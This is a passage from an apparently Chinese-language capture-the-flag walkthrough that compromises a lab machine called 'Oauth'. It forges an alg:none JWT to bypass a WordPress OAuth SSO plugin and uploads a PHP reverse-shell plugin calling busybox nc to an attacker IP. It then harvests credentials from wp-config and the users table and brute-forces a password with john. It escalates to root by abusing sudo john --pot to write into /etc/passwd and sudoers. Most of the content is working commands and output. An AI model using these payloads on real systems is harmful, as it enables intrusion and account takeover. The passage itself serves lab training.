Plugins (via Passive Methods)&#10;[&amp;#43;] Checking Plugin Versions (via Passive and Aggressive Methods)&#10;&#10;[i] Plugin(s) Identified:&#10;&#10;[&amp;#43;] miniorange-login-with-eve-online-google-facebook&#10; | Location: http://oauth.dsz/wp-content/plugins/miniorange-login-with-eve-online-google-facebook/&#10; | Last Updated: 2026-04-16T04:54:00.000Z&#10; | [!] The version is out of date, the latest version is 6.26.19&#10; |&#10; | Found By: Urls In Homepage (Passive Detection)&#10; |&#10; | Version: 6.26.11 (80% confidence)&#10; | Found By: Readme - Stable Tag (Aggressive Detection)&#10; | - http://oauth.dsz/wp-content/plugins/miniorange-login-with-eve-online-google-facebook/readme.txt&#10;&#10;[&amp;#43;] Enumerating Config Backups (via Passive and Aggressive Methods)&#10; Checking Config Backups - Time: 00:00:00 &amp;lt;===================&amp;gt; (137 / 137) 100.00% Time: 00:00:00&#10;&#10;[i] No Config Backups Found.&#10;&#10;[!] No WPScan API Token given, as a result vulnerability data has not been output.&#10;[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register&#10;&#10;[&amp;#43;] Finished: Mon Jun 1 07:24:58 2026&#10;[&amp;#43;] Requests Done: 171&#10;[&amp;#43;] Cached Requests: 5&#10;[&amp;#43;] Data Sent: 41.92 KB&#10;[&amp;#43;] Data Received: 328.549 KB&#10;[&amp;#43;] Memory used: 269.859 MB&#10;[&amp;#43;] Elapsed time: 00:00:12&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&#10;&lt;li&gt;WordPress version：6.9.4&lt;/li&gt;&#10;&lt;li&gt;theme : &lt;code&gt;twentytwentyfive&lt;/code&gt;，版本：&lt;code&gt;1.4&lt;/code&gt;。&lt;/li&gt;&#10;&lt;li&gt;Plugin : &lt;code&gt;miniorange-login-with-eve-online-google-facebook&lt;/code&gt;，版本：&lt;code&gt;6.26.11&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;WordPress 6.9.4 未发现任何严重的漏洞，插件&lt;code&gt;miniorange-login-with-eve-online-google-facebook&lt;/code&gt; 6.26.11 存在漏洞。&lt;/p&gt;&#10;&lt;p&gt;搜索方式：&lt;code&gt;https://wpscan.com/plugin/你要搜索的插件名字/&lt;/code&gt;，可以搜索到插件的历史漏洞。&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/oauth/image-20260601202015189.png' alt="image-20260601202015189" height="1183" width="1897"&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;6.26.13&lt;/code&gt; 版本之前存在一个严重的权限验证漏洞:&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;OAuth Single Sign On &amp;lt; 6.26.13 - 认证绕过漏洞&lt;/strong&gt;&lt;/p&gt;&#10;&lt;blockquote&gt;&#10;&lt;p&gt;该插件存在加密签名验证不当的漏洞。原因是插件在 &lt;code&gt;get_resource_owner_from_id_token&lt;/code&gt; 函数中处理 JWT 令牌时，&lt;strong&gt;没有进行签名验证或校验&lt;/strong&gt;，直接进行了不安全处理。&lt;/p&gt;&#10;&lt;p&gt;这使得未经身份验证的攻击者可以绕过认证，访问任意现有用户账户（在某些配置下包括管理员账户），或者创建任意订阅者级别的账户。&lt;/p&gt;&#10;&lt;/blockquote&gt;&#10;&lt;blockquote&gt;&#10;&lt;p&gt;韭菜 叶片的思路：下载源码，并告诉ai存在：OAuth Single Sign On &amp;lt; 6.26.13 - 认证绕过漏洞，让ai审计，可以大大提高漏洞利用的成功率。&lt;/p&gt;&#10;&lt;/blockquote&gt;&#10;&lt;h2 class="heading-element" id="漏洞利用"&gt;&lt;span&gt;漏洞利用&lt;/span&gt;&#10; &lt;a href="#%e6%bc%8f%e6%b4%9e%e5%88%a9%e7%94%a8" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;blockquote&gt;&#10;&lt;p&gt;漏洞利用流程&lt;/p&gt;&#10;&lt;p&gt;伪造 JWT（alg: none，无签名验证）&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/oauth/image-20260602105154478.png' alt="image-20260602105154478" height="996" width="2110"&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;http://oauth.dsz/?code=test123&amp;amp;state=a2V5Y2xvYWs=&amp;amp;id_token=eyJhbGciOiJub25lIn0.eyJlbWFpbCI6ImFkbWluQG9hdXRoLmRzeiIsInN1YiI6IjEiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhZG1pbiIsIm5hbWUiOiJhZG1pbiIsImlzcyI6Imh0dHA6Ly9vYXV0aC5kc3o6ODA4MC9yZWFsbXMvd29yZHByZXNzLXNpdGUifQ.&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;在浏览器访问：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/oauth/image-20260602105336762.png' alt="image-20260602105336762" height="594" width="2559"&gt;&lt;/p&gt;&#10;&lt;p&gt;可以看到，已经进入了后台。&lt;/p&gt;&#10;&lt;/blockquote&gt;&#10;&lt;h2 class="heading-element" id="反向shell获取立足点"&gt;&lt;span&gt;反向shell获取立足点&lt;/span&gt;&#10; &lt;a href="#%e5%8f%8d%e5%90%91shell%e8%8e%b7%e5%8f%96%e7%ab%8b%e8%b6%b3%e7%82%b9" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#10;/**&#10; * Plugin Name: Reverse Shell Plugin&#10; * Plugin URI: &#10; * Description: Reverse Shell Plugin for penetration testing.&#10; * Version: 1.0&#10; * Author: Security Analyst&#10; * Author URI: http://www.example.com&#10; */&#10;exec(&amp;#34;busybox nc 192.168.56.101 39666 -e /bin/bash&amp;#34;);&#10;?&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;编写一个插件，并压缩为zip格式。&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/oauth/image-20260602105927929.png' alt="image-20260602105927929" height="642" width="2539"&gt;&lt;/p&gt;&#10;&lt;p&gt;点击这里&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/oauth/image-20260602110011768.png' alt="image-20260602110011768" height="480" width="1941"&gt;&lt;/p&gt;&#10;&lt;p&gt;再点击这里，然后上传插件并启动。&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/oauth/image-20260602110124204.png' alt="image-20260602110124204" height="462" width="1821"&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/oauth/image-20260602110144614.png' alt="image-20260602110144614" height="334" width="1074"&gt;&lt;/p&gt;&#10;&lt;p&gt;启动之前，必须在kali上进行监听：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ ~ ──────────────────────────────────────────────────────────────── ✔  root@kali  23:02:28 &#10;╰─ nc -lvnp 39666&#10;listening on [any] 39666 ...&#10;connect to [192.168.56.101] from (UNKNOWN) [192.168.56.126] 40969&#10;id&#10;uid=104(apache) gid=106(apache) groups=82(www-data),106(apache),106(apache)&#10;env&#10;PWD=/var/www/localhost/htdocs/wordpress/wp-admin&#10;HOME=/root&#10;TERM=linux&#10;USER=root&#10;SHLVL=3&#10;PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin&#10;_=/usr/bin/env&#10;export SHELL=/bin/bash&#10;script -qc /bin/bash /dev/null&#10;bash: /root/.bashrc: Permission denied&#10;Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ export TERM=xterm&#10;export TERM=xterm&#10;Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ ^Z&#10;[1] &amp;#43; 1239 suspended nc -lvnp 39666&#10;&#10;╭─ ~ ────────────────────────────────────────────── TSTP ✘  1m 29s    root@kali  23:04:02 &#10;╰─ stty raw -echo;fg&#10;[1] &amp;#43; 1239 continued nc -lvnp 39666&#10; reset&#10;Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ stty size&#10;stty: standard input&#10;Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ stty rows 37 columns 98&#10;Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ &lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="系统内部信息收集"&gt;&lt;span&gt;系统内部信息收集&lt;/span&gt;&#10; &lt;a href="#%e7%b3%bb%e7%bb%9f%e5%86%85%e9%83%a8%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ cat /etc/passwd | grep bash&#10;root:x:0:0:root:/root:/bin/bash&#10;keycloak:x:102:103::/home/keycloak:/bin/bash&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;在&lt;code&gt;/var/www/localhost/htdocs/wordpress&lt;/code&gt;，查看&lt;code&gt;wp-config.php&lt;/code&gt;，可以获得数据库的一个用户&lt;code&gt;wpuser&lt;/code&gt;和密码&lt;code&gt;wppass&lt;/code&gt;，在&lt;code&gt;wordPress&lt;/code&gt;数据库的&lt;code&gt;wp_users&lt;/code&gt;表可以查看用户信息：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;&amp;#43;----&amp;#43;------------&amp;#43;-----------------------------------------------------------------&amp;#43;---------------&amp;#43;-----------------&amp;#43;------------------&amp;#43;---------------------&amp;#43;--------------------------------------------------------------&amp;#43;-------------&amp;#43;--------------&amp;#43;&#10;| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |&#10;&amp;#43;----&amp;#43;------------&amp;#43;-----------------------------------------------------------------&amp;#43;---------------&amp;#43;-----------------&amp;#43;------------------&amp;#43;---------------------&amp;#43;--------------------------------------------------------------&amp;#43;-------------&amp;#43;--------------&amp;#43;&#10;| 1 | sublarge | $wp$2y$10$fXkwhjebLy0jD3cp5G1uIuwqtu720.FYFhXbQrwHMiuiDb34yaina | sublarge | admin@oauth.dsz | http://oauth.dsz | 2026-03-08 07:13:48 | 1780313905:$generic$h3g95FK5QUYF5u_UNwW7v-olEYO4zMvWDlgCwdUG | 0 | sublarge |&#10;&amp;#43;----&amp;#43;------------&amp;#43;-----------------------------------------------------------------&amp;#43;---------------&amp;#43;-----------------&amp;#43;------------------&amp;#43;---------------------&amp;#43;--------------------------------------------------------------&amp;#43;-------------&amp;#43;--------------&amp;#43;&#10;1 row in set (0.000 sec)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;在&lt;code&gt;/opt/keycloak-26.0.0/conf&lt;/code&gt;，可以查看&lt;code&gt;keycloak&lt;/code&gt;的配置信息，&lt;code&gt;PostgreSQL&lt;/code&gt;被注释掉了，所以使用的默认的嵌入式数据库&lt;code&gt;h2&lt;/code&gt;。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;Oauth:/opt/keycloak-26.0.0/conf$ find / -user keycloak -type f 2&amp;gt;/dev/null&#10;/opt/keycloak-26.0.0/data/h2/keycloakdb.mv.db&#10;/opt/keycloak-26.0.0/data/h2/keycloakdb.trace.db&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;本来想从这里获取keycloak的密码，但是太难读了，是二进制格式的数据，并没有读取到密码。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;Oauth:/home$ cd keycloak/&#10;Oauth:/home/keycloak$ ls -al&#10;total 20&#10;drwxr-sr-x 2 keycloak keycloak 4096 Apr 9 10:55 .&#10;drwxr-xr-x 3 root root 4096 Apr 9 10:41 ..&#10;-rw-r--r-- 1 root keycloak 73 Mar 9 15:17 ...&#10;-rw-r--r-- 1 root keycloak 33 Apr 9 10:55 .profile&#10;-rw-r--r-- 1 root keycloak 44 Mar 9 15:17 user.txt&#10;Oauth:/home/keycloak$ cat user.txt&#10;flag{user-dd5c07036f2975ff4bce568b6511d3bc}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;我自己就只做到这里；接下来就是查看wp，看了一下，我才发现&lt;code&gt;...&lt;/code&gt;：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;Oauth:/home/keycloak$ cat ./...&#10;Don&amp;#39;t just crack user.txt; use John’s --rules to expand your horizons.&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;翻译：&lt;code&gt;不要只是破解 user.txt；用 John 的 --rules 来扩展你的视野。&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;dd5c07036f2975ff4bce568b6511d3bc&lt;/code&gt;是一段hash值，判断类型：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ ~ ──────────────────────────────────────────────────────────────── ✔  root@kali  00:59:30 &#10;╰─ hash-identifier dd5c07036f2975ff4bce568b6511d3bc&#10;Possible Hashs:&#10;[&amp;#43;] MD5&#10;[&amp;#43;] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))&#10;# 后面的省略&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;也可以根据长度判断：&lt;code&gt;32&lt;/code&gt;位，最常见的&lt;code&gt;32&lt;/code&gt;位hash是md5。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ /tmp/123 ───────────────────────────────────────────────────────── ✔  root@kali  01:13:00 &#10;╰─ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash&#10;Using default input encoding: UTF-8&#10;Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])&#10;Warning: no OpenMP support for this hash type, consider --fork=2&#10;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#10;single (?) &#10;1g 0:00:00:00 DONE (2026-06-02 01:13) 10.00g/s 7680p/s 7680c/s 7680C/s jeffrey..james1&#10;Use the &amp;#34;--show --format=Raw-MD5&amp;#34; options to display all of the cracked passwords reliably&#10;Session completed. &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;解出来为：&lt;code&gt;single&lt;/code&gt;。&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;john&lt;/code&gt; 的 &lt;code&gt;--rules&lt;/code&gt; 可以对字典进行变形：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ /tmp/123 ───────────────────────────────────────────────────────── ✔  root@kali  01:19:29 &#10;╰─ vim user.txt &#10;# user.txt 的内容是：keycloak&#10;╭─ /tmp/123 ──────────────────────────────────────────────────── ✔  8s  root@kali  01:20:28 &#10;╰─ john --wordlist=user.txt --rules=single --stdout &amp;gt; pass.txt&#10;Using default input encoding: UTF-8&#10;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#10;897p 0:00:00:00 100.00% (2026-06-02 01:20) 14950p/s keycloak1900&#10;╭─ /tmp/123 ───────────────────────────────────────────────────────── ✔  root@kali  01:20:36 &#10;╰─ python3 -m http.server&#10;Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...&#10;192.168.56.126 - - [02/Jun/2026 01:23:46] &amp;#34;GET /pass.txt HTTP/1.1&amp;#34; 200 -&#10;# 靶机&#10;Oauth:/tmp/tmp$ wget http://192.168.56.101:8000/pass.txt&#10;Connecting to 192.168.56.101:8000 (192.168.56.101:8000)&#10;saving to &amp;#39;pass.txt&amp;#39;&#10;pass.txt 100% |**************************************************| 9798 0:00:00 ETA&#10;&amp;#39;pass.txt&amp;#39; saved&#10;&#10;Oauth:/tmp/tmp$ wget http://192.168.56.101:8000/subrute.sh&#10;Connecting to 192.168.56.101:8000 (192.168.56.101:8000)&#10;saving to &amp;#39;subrute.sh&amp;#39;&#10;subrute.sh 100% |**************************************************| 431 0:00:00 ETA&#10;&amp;#39;subrute.sh&amp;#39; saved&#10;&#10;Oauth:/tmp/tmp$ bash subrute.sh &#10;: No such file or directoryt&#10;subrute.sh: line 6: $&amp;#39;\r&amp;#39;: command not found&#10;subrute.sh: line 14: syntax error near unexpected token `}&amp;#39;&#10;&amp;#39;ubrute.sh: line 14: ` } &amp;amp;&#10;Oauth:/tmp/tmp$ dos2unix subrute.sh &#10;Oauth:/tmp/tmp$ bash subrute.sh keycloak pass.txt&#10;[*] Progress: [576/897] !keycloak!&#10;[&amp;#43;] FOUND =&amp;gt; ;tib&amp;#39;[d;&#10;Killed bash subrute.sh keycloak pass.txt&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;爆破出密码为：&lt;code&gt;;tib'[d;&lt;/code&gt;&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;Oauth:/tmp/tmp$ su keycloak&#10;Password: &#10;Oauth:/tmp/tmp$ id&#10;uid=102(keycloak) gid=103(keycloak) groups=103(keycloak),103(keycloak)&#10;Oauth:/tmp/tmp$ sudo -l&#10;Matching Defaults entries for keycloak on Oauth:&#10; secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin&#10;&#10;Runas and Command-specific defaults for keycloak:&#10; Defaults!/usr/sbin/visudo env_keep&amp;#43;=&amp;#34;SUDO_EDITOR EDITOR VISUAL&amp;#34;&#10;&#10;User keycloak may run the following commands on Oauth:&#10; (ALL) NOPASSWD: /usr/bin/john&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;本来想利用&lt;code&gt;Press&lt;/code&gt;靶机的提权方法，最后发现john的写入无法覆盖掉目标文件，会报错，最后还是放弃了这个提权手法，尝试：韭菜-叶片的提权手法，我觉得他的思路，我可以理解。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="权限提升"&gt;&lt;span&gt;权限提升&lt;/span&gt;&#10; &lt;a href="#%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;提权思路：john 在 爆破密码时，如果爆破正确，会将用户名和密码写入到&lt;code&gt;~/.john/john.pot&lt;/code&gt; 文件里面，我们可以通过&lt;code&gt;--pot&lt;/code&gt;指定任意路径，让john把我们构造的恶意内容写入到我们指定的任意文件。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ ~/tools ────────────────────────────────────────────────────────── ✔  root@kali  01:48:04 &#10;╰─ openssl passwd -1 -salt &amp;#34;so&amp;#34; &amp;#34;123456&amp;#34;&#10;$1$so$WM4.wE1EeZcnUF30BnRkB/&#10;#payload&#10;$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash&#10;&#10;╭─ ~/tools ────────────────────────────────────────────────────────── ✔  root@kali  01:48:13 &#10;╰─ echo -n &amp;#39;$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash&amp;#39; | md5sum # -n 输出内容不加 \n&#10;85efdaaaaba78e12b2fa7dce0b0444fc -&#10;# 先在keycloak 用户下尝试：&#10;Oauth:/tmp$ echo &amp;#39;85efdaaaaba78e12b2fa7dce0b0444fc&amp;#39; &amp;gt; hash.txt&#10;Oauth:/tmp$ echo &amp;#39;$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash&amp;#39; &amp;gt; pass.txt&#10;Oauth:/tmp$ john --wordlist=pass.txt --format=Raw-MD5 hash.txt&#10;Created directory: /home/keycloak/.john&#10;Using default input encoding: UTF-8&#10;Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])&#10;Warning: no OpenMP support for this hash type, consider --fork=2&#10;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#10;Warning: Only 1 candidate left, minimum 24 needed for performance.&#10;$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash (?)&#10;1g 0:00:00:00 DONE (2026-06-02 13:54) 16.66g/s 16.66p/s 16.66c/s 16.66C/s $1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash&#10;Use the &amp;#34;--show --format=Raw-MD5&amp;#34; options to display all of the cracked passwords reliably&#10;Session completed&#10;Oauth:/tmp$ cat ~/.john/john.pot&#10;$dynamic_0$85efdaaaaba78e12b2fa7dce0b0444fc:$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash&#10;# 可以看到已经写入了。&#10;Oauth:/tmp$ sudo john --wordlist=pass.txt --format=Raw-MD5 hash.txt --pot=/etc/passwd&#10;Created directory: /root/.john&#10;Using default input encoding: UTF-8&#10;Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])&#10;Warning: no OpenMP support for this hash type, consider --fork=2&#10;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#10;Warning: Only 1 candidate left, minimum 24 needed for performance.&#10;$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash (?)&#10;1g 0:00:00:00 DONE (2026-06-02 13:56) 12.50g/s 12.50p/s 12.50c/s 12.50C/s $1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash&#10;Use the &amp;#34;--show --format=Raw-MD5&amp;#34; options to display all of the cracked passwords reliably&#10;Session completed&#10;Oauth:/tmp$ su &amp;#39;$dynamic_0$85efdaaaaba78e12b2fa7dce0b0444fc&amp;#39;&#10;Password: &#10;Oauth:/tmp# id&#10;uid=0(root) gid=0(root) groups=0(root)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以看到&lt;code&gt;提权成功&lt;/code&gt;。&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;scdyh&lt;/code&gt; 的 提权思路和 &lt;code&gt;lnnn&lt;/code&gt; 的 提权思路是相同的，只是最终写入的文件是不同的。&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;scdyh&lt;/code&gt; 的 提权思路：&lt;code&gt;john&lt;/code&gt; 把密码爆破成功后，会以 &lt;code&gt;hash:密码&lt;/code&gt; 的格式写入到 &lt;code&gt;~/.john/john.pot&lt;/code&gt;文件里，&lt;code&gt;hash&lt;/code&gt;对于我们来说是垃圾信息，&lt;code&gt;--field-separator-char=C 在输入文件和 pot 文件中用字符“C”代替“:”&lt;/code&gt; ，利用&lt;code&gt;换行符&lt;/code&gt;将&lt;code&gt;hash&lt;/code&gt;和&lt;code&gt;密码隔开&lt;/code&gt;。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;keycloak ALL=(ALL:ALL) NOPASSWD: ALL&#10;# NOPASSWD 后面的 : 不要忘记&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这是我们的payload，生成hash值：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ /tmp/123 ─────────────────────────────────────────────────────── 1 ✘  root@kali  06:18:32 &#10;╰─ echo -n &amp;#39;keycloak ALL=(ALL:ALL) NOPASSWD: ALL&amp;#39; | openssl md5&#10;MD5(stdin)= 8f0df3c42c370aee963ce2f1d5d7f589&#10;&#10;&#10;Oauth:/tmp$ echo &amp;#39;8f0df3c42c370aee963ce2f1d5d7f589&amp;#39; &amp;gt; hash.txt&#10;Oauth:/tmp$ echo &amp;#39;keycloak ALL=(ALL:ALL) NOPASSWD: ALL&amp;#39; &amp;gt; pass.txt&#10;Oauth:/tmp$ john --wordlist=pass.txt --format=Raw-MD5 hash.txt&#10;Using default input encoding: UTF-8&#10;Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])&#10;Warning: no OpenMP support for this hash type, consider --fork=2&#10;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#10;Warning: Only 1 candidate left, minimum 24 needed for performance.&#10;keycloak ALL=(ALL:ALL) NOPASSWD: ALL (?)&#10;1g 0:00:00:00 DONE (2026-06-02 18:19) 25.00g/s 25.00p/s 25.00c/s 25.00C/s keycloak ALL=(ALL:ALL) NOPASSWD: ALL&#10;Use the &amp;#34;--show --format=Raw-MD5&amp;#34; options to display all of the cracked passwords reliably&#10;Session completed&#10;Oauth:/tmp$ cat ~/.john/john.pot&#10;$dynamic_0$85efdaaaaba78e12b2fa7dce0b0444fc:$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash&#10;$dynamic_0$8f0df3c42c370aee963ce2f1d5d7f589:keycloak ALL=(ALL:ALL) NOPASSWD: ALL&#10;Oauth:/tmp$ sudo john --wordlist=pass.txt --format=Raw-MD5 hash.txt --field-separator-char=$&amp;#39;\n&amp;#39; --pot=/etc/sudoers.d/pwn_john&#10;using field sep char &amp;#39;&#10;&amp;#39; (0x0a)&#10;Using default input encoding: UTF-8&#10;Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])&#10;Warning: no OpenMP support for this hash type, consider --fork=2&#10;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#10;Warning: Only 1 candidate left, minimum 24 needed for performance.&#10;keycloak ALL=(ALL:ALL) NOPASSWD: ALL (?)&#10;1g 0:00:00:00 DONE (2026-06-02 18:21) 33.33g/s 33.33p/s 33.33c/s 33.33C/s keycloak ALL=(ALL:ALL) NOPASSWD: ALL&#10;Use the &amp;#34;--show --format=Raw-MD5&amp;#34; options to display all of the cracked passwords reliably&#10;Session completed&#10;Oauth:/tmp$ sudo bash&#10;/etc/sudoers.d/pwn_john:1:44: syntax error&#10;$dynamic_0$8f0df3c42c370aee963ce2f1d5d7f589&#10; ^&#10;Oauth:/tmp# id&#10;uid=0(root) gid=0(root) 